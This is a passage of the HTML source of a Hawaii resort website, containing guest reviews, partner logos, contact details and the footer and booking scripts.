4745            </ul>            
4746        </div>
4747    </div>	
4748</section>
4749
4750
4751
4752
4753    
4754
4755<section class="reviews">        
4756    <h2 class="ada-hidden">Reviews</h2>
4757    <div class="inner">
4758        <div class="reviews-slider-wrap">
4759            <div class="reviews-slider js-reviews-slider">
4760                <div>
4761                    <div class="reviews-slide">
4762                        <div class="cite">Kristen P</div>
4763                        <div class="loc">Tripadvisor:</div>
4764                        <a href="https://www.tripadvisor.com/ShowUserReviews-g2312116-d87284-r1013049911-Mauna_Kea_Beach_Hotel_Autograph_Collection-Puako_Kohala_Coast_Island_of_Hawaii_H.html" target="_blank"> Absolute Paradise!</a><p> My two daughters and I spent five nights at the Mauna Kea Beach Hotel. I booked a 1 king golf vista room but applied nightly upgrade awards and was upgraded to a 1 king oceanfront deluxe with a walk in closet. The room was so awesome and the view was amazing. We loved using our screen door and listening to the ocean. The hotel and the grounds were incredible. Just beautiful and peaceful. I felt like I was living in a postcard. The beach was also amazing. There were plenty of chairs and umbrellas. Things like boogie boards, paddle boards, and snorkel gear were included. The water was crystal clear and there is even a small coral reef with some good snorkeling. At night, we could see Manta Rays from a viewing platform. The service was the best I have ever had experienced at a hotel. We stayed during the renovation, and, as a platinum Marriott member, our breakfasts were upgraded to the full buffet because of the renovation. 
4765                            Overall, this resort is a dream. We definitely want to come back!
4766                        </p>
4767                    </div>
4768                </div> 
4769                <div>
4770                    <div class="reviews-slide">
4771                        <div class="cite">Nate C</div>
4772                        <div class="loc">Google:</div>
4773                        <p>The Westin Hapuna Beach Resort delivers exactly what you hope for in a Big Island getaway: direct access to one of the most beautiful white-sand beaches in Hawaii. Hapuna Beach is consistently ranked among the best in the U.S., and staying here means you're steps away from soft golden sand, calm turquoise waters (perfect for swimming or body-boarding), and breathtaking sunsets. The resort itself feels open, airy, and relaxing. The lobby is dramatic with sweeping ocean views, and the two pools are highlights — a large family-friendly freeform pool and a serene adults-only infinity pool overlooking the beach. Rooms are spacious, modern, and most offer private lanais with ocean or partial ocean views. Service is mostly warm and attentive, especially from the front desk and pool staff. We were welcomed with drinks and towels. What we loved most: - The unbeatable beach location and views - Spacious, clean rooms - Peaceful, laid-back vibe ideal for relaxation - Easy access to snorkeling right off the beach.</p>
4774                    </div>
4775                </div>                                    
4776                <div>
4777                    <div class="reviews-slide">
4778                        <div class="cite">J Griffin</div>
4779                        <div class="loc">Google:</div>
4780                        <p>This was our second stay at this resort [Mauna Kea], this one post renovations. Beautiful views, and rooms were fantastic. I love the conservation efforts, we were given metal water bottles to use during our stay (and to take home) and there are filtered water taps in the rooms! Beach equipment is FREE to use for guests (snorkle gear, stand up paddleboards, surfboards, etc.). Beach is amazing - places to snorkel right there by the rocks, and you can go night snorkeling with manta rays right off the beach (resort will help you book). Staff is lovely, so friendly and helpful. Breakfast was amazing - Bonvoy Elite members...this will spoil you for all other free breakfasts! There were tons of activities to do at the resort for free (Ukelele lessons, learning to speak Hawaiian, yoga, etc.). We took our 2 teenagers with us and they had an amazing time.</p>
4781                    </div>
4782                </div>   
4783                <div>
4784                    <div class="reviews-slide">
4785                        <div class="cite">David Gonzalez</div>
4786                        <div class="loc">Google:</div>
4787                        <p> The [Westin Hapuna] location is just perfect - off the road, private entrance and very select place. Rooms are nice and we got a very nice upgrade to an ocean front view. Service is great, good restaurants and some simple shops. The semiprivate beach is fantastic - and had good snorkeling spots. I also found some nice running paths.
4788                        </p>
4789                    </div>
4790                </div>
4791                <div>
4792                    <div class="reviews-slide">
4793                        <div class="cite">Mercy Joseph</div>
4794                        <div class="loc">Google:</div>
4795                        <p>One of the most beautiful hotels I&apos;ve been to in the world. Timelessly classic.</p>
4796                    </div>
4797                </div>
4798                <div>
4799                    <div class="reviews-slide">
4800                        <div class="cite">Dmgirl66</div>
4801                        <div class="loc">Tripadvisor:</div>
4802                        <a href="https://www.tripadvisor.com/ShowUserReviews-g2312116-d169643-r1053002244-The_Westin_Hapuna_Beach_Resort-Puako_Kohala_Coast_Island_of_Hawaii_Hawaii.html" target="_blank">Book this [Westin Hapuna], you will not regret it.</a><p>Had a conference and it was the best place to have it. The location is luxurious, the ocean view rooms are gorgeous and the bonus is the Japanese toilets!!! There is not a lot available around the hotel to eat as the property is quite private but the food at the hotel was great. We chose to do a la carte for breakfast which was more then enough rather then the buffet (though it looked quite good). The snorkeling off the beach was fun and we saw turtles. The beach guys were super attentive. This hotel should be rated a 5.5 star. Hoping they book the conference again here next year.</p>
4803                    </div>
4804                </div>
4805            </div>
4806        </div>
4807    </div>
4808</section>
4809
4810
4811
4812</main>
4813
4814
4815
4816<section class="social" id="social">
4817    <div class="inner">        
4818        <div class="hgroup">
4819            <h2>Mauna Kea Moments</h2>
4820            <div class="secondary icons">
4821                <ul class="unstyled-list ftr-social">
4822 					<li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Facebook"><i class="icon-facebook"></i></a></li>
4823					<li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Instagram"><i class="icon-instagram"></i></a></li>
4824				</ul>                
4825                <div class="hashtag">#MaunaKeaMoments</div>            
4826            </div>
4827        </div>
4828        <div class="social-grid">
4829            <div id="savvy-social">
4830                <figure class="social-tile mag-tile has-caption has-caption-top">
4831                    
4832                        <img src="/images/content/magazine-room/cnha-296-1-.jpg?05828567874177512" width="480" height="480" alt="Culture Conscious" class="object-fit">
4833                        <figcaption>
4834                            <div class="inner">
4835                                <div class="pre-hdr"></div>
4836                                <h3><em>Culture Conscious</em></h3>                            
4837                                <p><a href="/culture/currents/culture-conscious" class="lm">Read more <span class="ada-hidden">about Culture Conscious</span></a></p>
4838                            </div>                        
4839                        </figcaption>
4840                    
4841                </figure>
4842            </div>
4843            <div>
4844                <div class="social-item-template" style="display: none;">
4845                    <div>
4846                        <figure class="social-tile">
4847                            <a href="{{ postUrl }}" target="_blank" rel="noopener">
4848                                <img src="{{ mediaUrl }}" width="480" height="480" alt="view on instagram at {{ mediaUrl }}" class="object-fit">
4849                                <figcaption>
4850                                    <div class="inner">
4851                                        <p>{{ message }}</p>
4852                                    </div>                        
4853                                </figcaption>
4854                            </a>
4855                        </figure>
4856                    </div>
4857                </div>
4858            </div>                                                                          
4859        </div>
4860    </div>   
4861</section>
4862
4863
4864<script>
4865    _hdmq.add(function(){
4866        $LAB.script('/components/social/js/social_combo.js');
4867    });    
4868</script>
4868
4869
4870
4871
4872
4873
4874        <style>.ftr-logo{width:206px;height:84px;overflow:hidden}.ftr-logo svg{width:100%;height:100%}</style>
4875
4876
4877
4878
4879<footer class="site-footer" role="contentinfo">
4880	
4881
4882<div class="eclub">
4883	<form class="eclub-form" method="post" action="/email-signup">
4884		<fieldset>
4885			<legend>Let's stay in touch</legend>
4886			<div class="field">
4887				<label for="eclubEmail" class="ada-hidden">Enter your email</label>
4888				<input type="email" placeholder="Enter your email" name="eclubEmail" id="eclubEmail">
4889			</div>
4890		</fieldset>
4891		<input type="submit" value="Sign Up">
4892	</form>
4893	<div class="footer-logos">
4894		<a href="http://www.virtuoso.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/vir-logo-member-300.png" alt="Virtuoso Memeber" width="100"  class="footer-logo travelers"></a>
4895		<a href="https://www.signaturetravelnetwork.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/Sig_Logo-300.png" alt="Signture travel network" width="100" class="footer-logo travelers"></a>
4896		<a href="http://www.stars.marriott.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/luminous-300.png" alt="Marriott International Luminous" width="100" class="footer-logo travelers"></a>
4897		<a href="https://internovatravel.com/hotel/a2o0y000005JIXlAAO/Mauna-Kea-Beach-Hotel%2C-Autograph-Collection" target="_blank" class="footer-logo"><img loading="lazy"src="/images/layout/logos/select-300.png" alt="Select" width="100" class="footer-logo travelers"></a>
4898		<a href="https://hotelexcellence.marriott.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/hotel-excellence-tall-600.png" alt="Hotel Excellence" width="100" class="footer-logo travelers"></a>
4899		<a href="#" target="_blank" style="pointer-events: none; cursor: default;" class="footer-logo"><img loading="lazy" src="/images/layout/logos/proud-partner.png" alt="proud partner of ensemble" width="130" class="footer-logo travelers"></a>
4900
4901		<a href="https://newsroom.aaa.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/AAA-tall-300.png" alt="AAA four diamond" width="100" class="footer-logo travelers"></a>
4902		<a href="https://www.tripadvisor.com/TravelersChoice" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/TC-2023-300.png" alt="2023 Traveler's Choice" width="100" class="footer-logo travelers"></a>
4903		<a href="https://www.maunakearesort.com/play/tesla-experience" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/envoy-logo-trademarked-300.png" alt="ENVOY" width="100" class="footer-logo travelers"></a>
4904		<a href="https://www.maunakearesort.com/play/tesla-experience" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/tesla-300.png" alt="Tesla" width="100" class="footer-logo travelers"></a>
4905		<a href="https://www.maunakearesort.com/play/gopro-experience" class="footer-logo" aria-label="Go Pro"><img loading="lazy" src="/images/layout/logos/gopro--300.png" alt="Go Pro" width="100" class="footer-logo travelers"></a>
4906		<a href="https://www.winespectator.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/wslogo-300.png" alt="Wine Spectator" width="100" class="footer-logo travelers"></a>
4907	    <a href="#" target="_blank" style="pointer-events: none; cursor: default;" class="footer-logo"><img loading="lazy" src="/images/maunakeabeachhotel/content/logos/CNT-US-RCA-2025.png" alt="Conde Nast Traveler" width="120" class="footer-logo travelers"></a>
4908	</div>
4909</div>
4910
4911
4912
4913
4914
4915	<div class="ftr-top">
4916		<div><i class="icon-location"></i> <span class="mobile-break">62-100 Kauna&#39;oa Drive,</span> Kohala Coast, HI 96743</div>
4917		<div><span class="mobile-break">Room Reservations:</span> <a href="tel:1-877-880-6524">1-877-880-6524</a></div>
4918		<div><span class="mobile-break">Mauna Kea Beach Hotel Direct:</span> <a href="tel:1-808-882-7222">1-808-882-7222</a></div>
4919		<div><span class="mobile-break">The Westin Hapuna Direct:</span> <a href="tel:1-808-880-1111">1-808-880-1111</a></div>
4920	</div>
4921	<div class="ftr-bottom">
4922		<div class="cf inner flex">
4923			<div class="col-1">
4924				<div class="ftr-logo"><a href="/"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 501.54 196.46"><title>
4924Mauna Kea Resort</title><path class="sl-1" d="M253.38 0a14.28 14.28 0 0 0-4.3.67 12.48 12.48 0 0 0-7.55 6.22c-5 9.14 1 22.38 9.87 29.18 3.28-8.21 7.64-12.54 11.16-16 1-1 1.88-1.86 2.68-2.76a7.21 7.21 0 0 0 1.75-6.39c-.62-3.87-3.43-7.31-7.71-9.45a12.47 12.47 0 0 0-5.9-1.47ZM253.22 39.5a36.28 36.28 0 0 1 .84 16.6 60.33 60.33 0 0 0-.45 3.58c-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.12 3.31a12.47 12.47 0 0 0 9.49-4.62 10.18 10.18 0 0 0 2.33-8.53c-1.72-10.32-14.71-15.84-25.3-17.43Z"/><path class="sl-1" d="M251.27 39.69c-6.05 3.56-14.22 4.93-19.66 5.83a9.05 9.05 0 0 0-5.77 5.32 14.92 14.92 0 0 0-.08 12c3.61 6.76 10.37 9.15 16.83 5.92 12.86-6.5 9.86-23.83 8.68-28.99ZM229.51 16.56a12.45 12.45 0 0 0-9.35 4.3 13.94 13.94 0 0 0-4 10.19 12 12 0 0 0 4.48 8.47c2.67 2.47 7.59 3.48 13.84 2.84a46.71 46.71 0 0 0 15.68-4.54c-6.21-4.72-9.76-9.42-11.83-15.65a8.28 8.28 0 0 0-6.58-5.4 11.55 11.55 0 0 0-2.24-.21ZM253.24 37.19a58 58 0 0 1 15.54 4.53c1.26.52 2.46 1 3.69 1.47 2.53 1 5.77.48 8.87-1.34 3.59-2.1 6.1-5.42 6.56-8.67a15.22 15.22 0 0 0-2.75-11.24 11.2 11.2 0 0 0-7.7-4.24c-10.48-.91-20.49 9.14-24.21 19.49Z"/><g><path class="sl-2" d="M427.01 131.26c-.89 0-14.7.48-14.49-2.68.25-3.92 19.8-3.49 23.91-2.7 1.62.31 3.65.91 3.47 2.48s-5.08 2.7-12.89 2.9ZM286.1 136.57c-.66 0-10.83.47-10.68-2.69.19-3.91 14.6-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.74 2.67-9.5 2.91ZM479.81 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/><path class="sl-3" d="M2.86 128.32c1-2.39 1.78-4.84 2.93-7.14 4.95-9.91 17.06-11 24.12-2.41 3.41 4.17 4.94 9.27 7.48 13.87 2.73 5 4.59 5.05 7.44.23 2.27-3.82 4.25-7.81 6.59-11.58 3.19-5.12 7.05-9.17 14-8s9.47 6.23 10.83 12a40.18 40.18 0 0 1 1 15.26c-.27 1.88-.83 3.8-3.29 3.5-2.08-.26-2.35-1.93-2.3-3.74a45.47 45.47 0 0 0-2-15.15c-.81-2.53-1.93-5.23-4.91-5.69-3.29-.51-4.52 2.43-5.75 4.65-2.46 4.46-4.12 9.33-7.06 13.57-6 8.64-13.7 8.65-19.21-.33-2.65-4.32-4.55-9.1-6.83-13.66-1.21-2.45-2.93-5.1-5.66-5-3.1.06-4.42 3.13-5.42 5.8a68.56 68.56 0 0 0-2.93 12.51c-.39 2.41-.77 5.38-2 6.07s-5.08.77-7.26-.19c-3.71-1.62-2.56-4.45-2.18-6.29.48-2.34 1.6-5.41 2.41-8.28ZM341.19 116.84c.13-2.53.83-5.25 4.07-5.14 2.88.09 3.61 3 3.71 5 .06 1.16-.83 6.88 4.83 4.66a147.44 147.44 0 0 1 29-9.41c2.86-.57 5.27-.47 5.92 2.56.75 3.51-2.54 3.36-4.62 3.65a150.58 150.58 0 0 0-23.1 5.25c-1.63.51-4 .94-3.89 3.15.08 1.8 2.21 2.22 3.73 2.8 8.53 3.26 17.53 4.5 26.46 6 1.78.31 4.67.3 4.7 2.49.22 2.73-1.26 4.59-4 5.6-4.1 1.52-7.83-.12-11.6-1.12a99 99 0 0 1-23.11-9.74c-3.56-2-4.17-.87-4.09 2.46a27.18 27.18 0 0 1-.18 5c-.33 2-1.06 3.88-3.65 4-2.83.17-4-1.76-4.12-4-.23-4.01-.25-19.58-.06-23.21ZM199.32 122.41c2.51-8.73 10.34-11.94 18.72-7 6 3.53 9.42 8.72 13.65 14 2.23 2.79 5.23 7.15 9.15 6.22 4.12-1 4.25-5.87 4.51-9.32.28-3.91-.06-6.6 0-9.91 0-1.67.32-2.95 2.32-3.12a2.83 2.83 0 0 1 3.27 2.34c1.72 6.76 3.29 13.55 1 20.49-2.47 7.6-10.71 10.25-18.36 5.94-5.68-3.2-9.24-8.41-12.87-13.55-1.71-2.43-3.32-4.93-5.12-7.29-1.42-1.87-3-3.26-5.8-3-2.1.22-4 2.08-4.54 5.74s-.21 9.83.07 15.2c.1 1.92.57 4.36-2.15 4.82s-3.39-1.77-4.12-3.92c-.96-2.79-1.71-10.79.27-17.64ZM501.45 143.26c-.3.94-1.38 1.07-3.2 1.07s-2.47-1.53-2.57-2.87c-.38-5.26-.72-10.52-2.78-15.5-2.22-5.38-6.06-8.41-12-8.85s-10.21 2.34-12.94 7.39a33.2 33.2 0 0 0-4.1 16.1c0 2.8-1.36 4.11-3.81 4-2.25 0-4.66-.34-5.4-3.32-2.31-9.26 6.24-23.64 15.39-27.88 11.85-5.48 27.15 1.58 30.47 16.61.62 2.91 1.32 11.92.94 13.25Z"/><path class="sl-4" d="M189.38 118.36c-.38 14.35-9.25 24.8-21.51 25.75a23.78 23.78 0 0 1-25.29-26.69c.35-3 1.84-4.52 4.82-4.32s5.21 1.34 5 4.81a23.62 23.62 0 0 0 2.28 11c2.1 4.75 5.35 8.12 11.06 8.49 6.54.43 11.65-1.55 14.93-7.47a27.37 27.37 0 0 0 3-11.34c.18-2.22-.8-5.63 3.2-5.38 2.85.2 2.48 3.42 2.51 5.15Z"/><path class="sl-5" d="M427.73 144.59c-9 0-16.47-1.26-22.91-5.92-9.71-7-9-16.33 1.42-22.34 8.74-5 19.68-4.69 27.55-3.52a49.72 49.72 0 0 1 6.75 1.48c1.18.37 2.41.94 2.17 2.43s-1.42 1.88-2.94 1.64c-2.77-.43-5.51-1.14-8.3-1.42-7.82-.81-14.18.92-16.67 2.15-4 2-6.82 4.61-6.89 8.79s2.76 6.64 6 8.42c7.49 4.08 15.59 3.68 23.7 2.62.81-.1 1.88-.38 2.69-.49 1.76-.25 2.91.59 3 2.18.11 1.3-1.28 2.14-2.66 2.49a58.33 58.33 0 0 1-12.91 1.49ZM133.69 138.64a15 15 0 0 1 .06 2.21c-.05 1-.2 3.13-2.41 3.22a2.5 2.5 0 0 1-2.78-2.79 32.06 32.06 0 0 0-1.73-10.69c-2.44-7.89-7.59-11.49-15.86-11.22-6.36.2-11.45 4.73-13.18 12a32.22 32.22 0 0 0-1.08 7.79c0 3.88-2.42 4.85-5.38 4.9-3.16.05-4-2-3.78-5 .73-9 3.43-17.2 11.21-22.57 9.72-6.72 28.06-4.73 32.85 11.5a57.83 57.83 0 0 1 2.08 10.65Z"/><path class="sl-4" d="M307.51 137.55c0 1.63.05 2.62 0 3.61-.09 1.42-.67 2.7-2.19 2.88a2.63 2.63 0 0 1-3-2.67 36 36 0 0 0-2.34-9.59c-2.72-7.16-8.27-11.14-14.86-11s-11.25 4-14 11.35a51.54 51.54 0 0 0-2.26 9.06c-.27 1.44-.9 3.08-2.85 2.83a2.74 2.74 0 0 1-2.33-2.86c.09-9.1 1.06-18.16 9-24.12 7.18-5.42 15.49-5.68 23.38-1.58 8.98 4.74 10.76 13.57 11.45 22.09Z"/><path class="sl-2" d="M112.97 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/></g><g><path class="sl-6" d="m186.45 195.99-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.56 2.56 0 0 0 1.08-2.26 2.52 2.52 0 0 0-1-2.25 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM201.61 195.99v-18.56h15.13v2.83h-11.83v4.84h11.26v2.78h-11.26v5.38h12.4l-.47 2.78ZM242.23 182.55a4.67 4.67 0 0 0-1.09-1.74 4.17 4.17 0 0 0-1.69-.94 9.56 9.56 0 0 0-2.53-.28 9.17 9.17 0 0 0-3.87.66 2.07 2.07 0 0 0-1.38 1.91 2 2 0 0 0 .9 1.77 8.3 8.3 0 0 0 3.13.94l3.85.5
49247a9.3 9.3 0 0 1 4.77 1.83 4.66 4.66 0 0 1 1.52 3.68 4.57 4.57 0 0 1-2.25 4.07 11.66 11.66 0 0 1-6.3 1.44q-4.43 0-6.7-1.53a6.33 6.33 0 0 1-2.66-4.76h3.33a3.8 3.8 0 0 0 1.78 2.79 8.24 8.24 0 0 0 4.25.88 8 8 0 0 0 3.86-.76 2.34 2.34 0 0 0 1.34-2.13 2.08 2.08 0 0 0-.92-1.79 6.77 6.77 0 0 0-2.88-.94l-3.33-.49a16.28 16.28 0 0 1-4.08-1.07 4.84 4.84 0 0 1-2.18-1.75 5 5 0 0 1-.65-2.65 4.36 4.36 0 0 1 2.25-3.89 12.08 12.08 0 0 1 6.31-1.39 13.58 13.58 0 0 1 4.18.55 6.21 6.21 0 0 1 2.72 1.66 6.81 6.81 0 0 1 1.49 2.91ZM278.03 186.71a10.09 10.09 0 0 1-1.27 5.11 8.57 8.57 0 0 1-3.65 3.42 13.63 13.63 0 0 1-11.14.06 8.47 8.47 0 0 1-3.69-3.36 11 11 0 0 1-.05-10.34 8.63 8.63 0 0 1 3.65-3.42 12.28 12.28 0 0 1 5.64-1.22 12.46 12.46 0 0 1 5.5 1.16 8.43 8.43 0 0 1 3.69 3.37 10 10 0 0 1 1.32 5.22Zm-3.41 0a6.93 6.93 0 0 0-1.86-5.15 8.41 8.41 0 0 0-10.5 0 8 8 0 0 0 0 10.3 8.37 8.37 0 0 0 10.5 0 6.87 6.87 0 0 0 1.86-5.15ZM303.98 195.99l-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.94 2.94 0 0 0 .05-4.51 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM324.7 195.99v-15.73h-7.48v-2.78h18.28v2.78h-7.49v15.78Z"/></g></svg></a></div>
4925				<ul class="unstyled-list ftr-social">
4926					<li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Facebook"><i class="icon-facebook"></i></a></li>
4927					<li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Instagram"><i class="icon-instagram"></i></a></li>
4928				</ul>
4929			</div>
4930			<div class="col-2">
4931				<div class="two-col ftr-links">
4932					<ul class="unstyled-list">
4933						<li><a href="/careers">Careers</a></li>
4934						<li><a href="/press-room">Press Room</a></li>
4935						<li><a href="/stay/accessible-rooms">ADA</a></li>
4936						<li><a href="/contact">Contact Us</a></li>
4937						<li><a href="/directions">Directions</a></li>
4938						<li><a href="/policies">Policies</a></li>
4939            <li><a href="/culture/sustainability">Sustainability</a></li>
4940            <li><a href="/stay/laundry-valet">Hapuna Laundry</a></li>
4941						<li><a href="https://www.alohasothebysrealty.com/" target="_blank" rel="nofollow">Aloha Sotheby&#39;s</a></li>
4942						<li><a href="https://eastwest.com/places/maunakea/" target="_blank" rel="nofollow">East West Hospitality</a></li>
4943						<li><a href="https://www.marriott.com/loyalty.mi" target="_blank" rel="noopener">Marriott Bonvoy</a></li>
4944						<li><a href="https://travelagents.princeresortshawaii.com/" target="_blank" rel="noopener">Travel Agents</a></li>
4945						<li><button id="ot-sdk-btn" class="ot-sdk-show-settings">Cookie Settings</button></li>
4946					</ul>
4947				</div>
4948			</div>
4949
4950			<div class="col-3">
4951				<div class="two-col ftr-links">
4952					<ul class="unstyled-list">
4953          		<li class="c-logo"><a href="https://www.marriott.com/loyalty.mi?scid=d4e4bc07-f4b0-42de-a21c-dead4579f390" target="_blank" rel="noopener"><img loading="lazy" src="/images/layout/logos/bonvoy-white.png" width="122" height="35" alt="Bonvoy"></a></li>
4954					    <li class="c-logo l-mar"><a href="https://www.marriott.com/en-us/hotels/koaak-mauna-kea-beach-hotel-autograph-collection/overview/" target="_blank" rel="noopener"><img class="autograph" loading="lazy" src="/images/layout/logos/autograph.png" width="115" height="52" alt="autograph"></a></li>
4955          	  <li class="c-logo"><a href="https://www.marriott.com/en-us/hotels/koawi-the-westin-hapuna-beach-resort/overview/" target="_blank" rel="noopener"> <img loading="lazy" src="/images/layout/logos/westin.png" width="107" height="35" alt="westin"></a></li>
4956              
4957					    <li class="c-logo l-mar"><a href="https://www.seibuprince.com/" target="_blank" rel="noopener"><img loading="lazy" src="/images/layout/logos/seibu-prince-logo.png" width="106" height="82" alt="Seibu Prince Hotels & Resorts"></a></li>
4958					</ul>
4959				</div>
4960			</div>
4961
4962		</div>	
4963	</div>
4964
4965	<div class="footer-bg">
4966		<video id="footer-video" class="object-fit" preload="none" muted loop playsinline width="640" height="360" data-dawn-src="/videos/ftr-dawn.mp4" data-dusk-src="/videos/ftr-dusk.mp4">
4967			<source src="/videos/ftr-dawn.mp4">
4968		</video>
4969	</div>
4970
4971	
4971<script>
4972		_hdmq.add(function(){
4973
4974			observeBgVideo('#footer-video', '.site-footer');
4975
4976		});
4977	</script>
4977
4978
4979
4980
4981</footer>
4982        <!-- scripts -->
4983        
4984        
4985        
4985<script>
4986            var loadDeferredStyles = function () {
4987                var addStylesNode = document.getElementById("deferred-styles");
4988                var textContent = addStylesNode.textContent;
4989                addStylesNode.parentElement.removeChild(addStylesNode);
4990                var replacement = document.createElement("div");
4991                replacement.innerHTML = textContent;
4992                document.body.appendChild(replacement);
4993            };
4994            //this could go in a bundle too. Can't go in top because want to not process until now 
4995            //you can check for blocking by checking network tab on chrome dev tools and see if whatever download comes before or after the red line.
4996            //something is happening here to make the after css block 
4997            //ossilby some other blocking javascript loading?  So put this in
4998            //jquey pho queue and document on ready... doesnt work 
4999            //$(function(){
5000            //    $(document).ready(function(){
5001            //        document.body.appendChild(replacement); 
5002            //    });
5003            //});
5004            var raf = null;
5005            if (typeof requestAnimationFrame === "function") {
5006                raf = requestAnimationFrame;
5007            } else if (typeof mozRequestAnimationFrame === "function") {
5008                raf = mozRequestAnimationFrame;
5009            } else if (typeof webkitRequestAnimationFrame === "function") {
5010                raf = webkitRequestAnimationFrame;
5011            } else if (typeof msRequestAnimationFrame === "function") {
5012                raf = msRequestAnimationFrame;
5013            }
5014            if (raf) {
5015                raf(function() { window.setTimeout(loadDeferredStyles, 0); });
5016            } else {
5017                /*   for anyone who does have raf from above.  Except IE < 9 which can't see inside noscript tags. doesn't seem to load this, at least in emulation mode
5018                     That's whay there is the IE < 9 conditional next to noscript
5019                     when IE < 9 support is dropped put this in
5020                     else window.addEventListener('load', loadDeferredStyles);
5021                     from https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery#example
5022                     might be better if we just server side detect it
5023                */
5024                if (window.attachEvent) {
5025                    window.attachEvent('onload', loadDeferredStyles);
5026                } else {
5027                    window.addEventListener('load', loadDeferredStyles);
5028                }
5029                /* another way to just them in
5030                string styleTags = Styles.Render("~/css/after.css").ToHtmlString().Trim();
5031                foreach (LinkTag lt in deferredLinkTags) {
5032                    styleTags = styleTags + lt.GetTag().Trim();
5033                }*/
5034                /*
5035                console.log("loading after styles directly");
5036                loadDeferredStyles('<styleTags%>');
5037                */
5038            }
5039        </script>
5039
5040        
5041        
5041<script src="/js/js_client_bundle.js?v=y3Lq5KT4O1a5EwcAdGnHCYZ4hfaVuXNmAGJhOhrZTGk1" async ></script>
5041
5042
5043        
5044        
5044<script>
5045            ///////////////////////////
5046            
5047            (function(){
5048                var appendScripts = function(scripts) {
5049                    for (var i = 0; i < scripts.length; i++) {
5050                        var element = document.createElement("script");
5051                        element.src = scripts[i];
5052                        document.body.appendChild(element);
5053                    }
5054                }
5055
5056                var afterBodyLoad = function() {
5057                    
5058                    //////////////
5059                    
5060                    /////////////////////////
5061                    
5062                }
5063                var coreLoaded = function() {
5064                    //after core inline
5065                    (function(){function t(){const f=this,e=f.dataset.theme,i=document.querySelector("body"),r=$("#footer-video")[0];let u;t&&(i.classList.add("theme-loading"),n=!0,e==="dusk"?(i.classList.remove("dawn-active"),i.classList.add("dusk-active"),$(".theme-caption").empty().text("ahiahi"),u=$("#footer-video").data("dusk-src"),$("#footer-video").find("source").attr("src",u),r.load(),r.play()):(i.classList.remove("dusk-active"),i.classList.add("dawn-active"),$(".theme-caption").empty().text("wana'ao"),u=$("#footer-video").data("dawn-src"),$("#footer-video").find("source").attr("src",u),r.load(),r.play()),setTimeout(function(){n&&i.classList.remove("theme-loading")},3e3))}let n=!1;const i=document.querySelectorAll(".js-btn-theme"),r=Array.prototype.slice.call(i);r.forEach(function(n){n.addEventListener("click",t)})})(),function(){function r(){var n,i;t||(n=document.createElement("script"),n.type="text/javascript",n.src="//www.opentable.com/widget/reservation/loader?rid=40177&rid=350437&rid=350440&rid=1147462&rid=987028&domain=com&type=standard&theme=standard&lang=en&overlay=true&iframe=false",i=document.querySelector(".dine-scripts"),i.prepend(n),t=!0)}function u(){$('.sb-col-2 a, .sb-col-2 button, .sb-col-2 input, .sb-col-2 select, .sb-col-2 .ot-dtp-picker-form input, .sb-col-2 .ot-dtp-picker-form select, .sb-col-2 [role="button"]').each(function(n,t){$(t).attr("tabindex",0)});$(".book-promo-slide").each(function(n,t){$(t).hasClass("active")&&$(t).find("a").attr("tabindex",0)})}function n(){$('#book a, #book button, #book input, #book select, #book .ot-dtp-picker-form input, .ot-dtp-picker-form select, #book [role="button"]').each(function(n,t){$(t).attr("tabindex",-1)})}function f(){let t=$("#staySelect"),i=t.val(),n=$(".mobile-book-notice");i=="KOAAK"?n.addClass("active"):n.removeClass("active")}function e(){let n=$("#g-recaptcha-response-100000");n.length&&$('<label for="g-recaptcha-response-100000">Response<\/label>').insertBefore(n)}let t=!1;$(".js-btn-reserve").off("click").on("click",function(){const t=$("body");if(t.removeClass("active-nav"),t.hasClass("book-active")){t.removeClass("book-active");try{n()}catch(i){console.log(i)}}else t.addClass("book-active"),setTimeout(function(){try{u();r()}catch(n){console.log(n)}},250)});$(".js-book-close").off("click").on("click",function(){const t=$("body");t.removeClass("active-nav");t.removeClass("book-active");n()});var i=$(".site-book .js-input");i.blur(function(){let n=$(this).val();n==""?$(this).removeClass("has-value"):$(this).addClass("has-value")});i.each(function(){$(this).val()&&$(this).addClass("has-value")});$(".stay-form").submit(function(n){var t,i,r,u,e;n.preventDefault();t=this;i=$(t).attr("action");let f=$("#staySelect").val();r=$("#bookCheckIn").val();u=$("#bookCheckOut").val();try{HDMdataLayer.push({event:"custom",category:"Book",property:f,startdate:r,enddate:u,action:document.location.pathname,label:"Check 